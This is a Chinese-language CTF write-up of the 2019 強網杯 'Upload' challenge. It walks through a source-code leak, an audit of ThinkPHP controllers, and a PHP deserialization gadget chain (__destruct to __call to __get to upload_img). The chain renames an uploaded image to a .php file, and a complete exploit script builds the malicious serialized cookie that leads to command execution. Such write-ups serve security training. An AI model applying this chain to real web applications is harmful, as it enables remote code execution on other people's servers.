1. 程式人生 > 其它 >[強網杯 2019]Upload

[強網杯 2019]Upload

有個註冊登入介面,先註冊進去看看

 

 發現是一個檔案上傳頁面

掃一下看看有沒有原始碼洩露

發現有/www.tar.gz

下載下來看看

接下來就是程式碼審計了

主要檔案是:Index.php、Profile.php、Login.php、Register.php

而且用phpstorm開啟會發現在index.php和Register.php中各有一個斷點,應該是提示

 

 

 

 

這裡的login_check函式會反序列化我們傳入的user(cookie)

而下面檢測到未登入就會呼叫$->checker->index(),這裡可以令checker=0繞過

<?php
namespace app\web\controller;

use think\Controller; class Profile extends Controller { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __construct() { $this->checker=new Index(); $this->upload_menu=md5
($_SERVER['REMOTE_ADDR']); @chdir("../public/upload"); if(!is_dir($this->upload_menu)){ @mkdir($this->upload_menu); } @chdir($this->upload_menu); } public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } } public function update_img(){ $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find(); if(empty($user_info['img']) && $this->img){ if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){ $this->update_cookie(); $this->success('Upload img successful!', url('../home')); }else{ $this->error('Upload file failed!', url('../index')); } } } public function update_cookie(){ $this->checker->profile['img']=$this->img; cookie("user",base64_encode(serialize($this->checker->profile)),3600); } public function ext_check(){ $ext_arr=explode(".",$this->filename); $this->ext=end($ext_arr); if($this->ext=="png"){ return 1; }else{ return 0; } } public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } } }

 

 

 這裡會被直接加上png的字尾

 

 這裡是關鍵點

這個可以使ext=1,來進入,同時,這一步會將檔案複製給filename,相當於重新命名,最後執行update_img()

那麼如何通過反序列化來呼叫update_img呢

這裡有兩個魔術方法

public function __get($name)
{
    return $this->except[$name];
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

當物件呼叫不可訪問屬性時,就會自動觸發get魔法方法,而在物件呼叫不可訪問函式時,就會自動觸發call魔法方法。

再看回Register.php

 

 有個__destruct()魔術方法,上面這兩輸出可控,我們可以讓checker這個屬性為Profile類

然後就會呼叫Profile類裡的index()函式,那麼就會觸發__call魔術方法

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

checker呼叫了類Index裡的方法index(),如果我們此時將checker的construct覆蓋為類Profile,那麼勢必在呼叫index()方法時,會觸發call函式

而進入這個函式後,就能出發$this->index,呼叫了profile類中不存在的物件,就可以觸發_get魔術方法

再設定except[’index‘] 為 upload_img的話,就可以成功觸發了upload_img

這時候再得到檔案的上傳路徑就可以了

bp抓包得到cookie

解碼

 

 就可以構造exp了

<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;
}
class Profile{
    public $checker =0 ;
    public $filename_tmp="./upload/cc551ab005b2e60fbdc88de809b2c4b1/4a47a0db6e60853dedfcfdf08a5ca249.png";
    public $upload_menu;
    public $filename="./upload/cc551ab005b2e60fbdc88de809b2c4b1/1.php";
    public $ext=1;
    public $img;
    public $except=array("index"=>"upload_img");
}

$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;

echo base64_encode(serialize($a));

 

 

 

 

 

 

 

 再修改一下網頁的cookie

 

 重新整理一下再訪問就能訪問到改名的檔案,就能夠命令執行了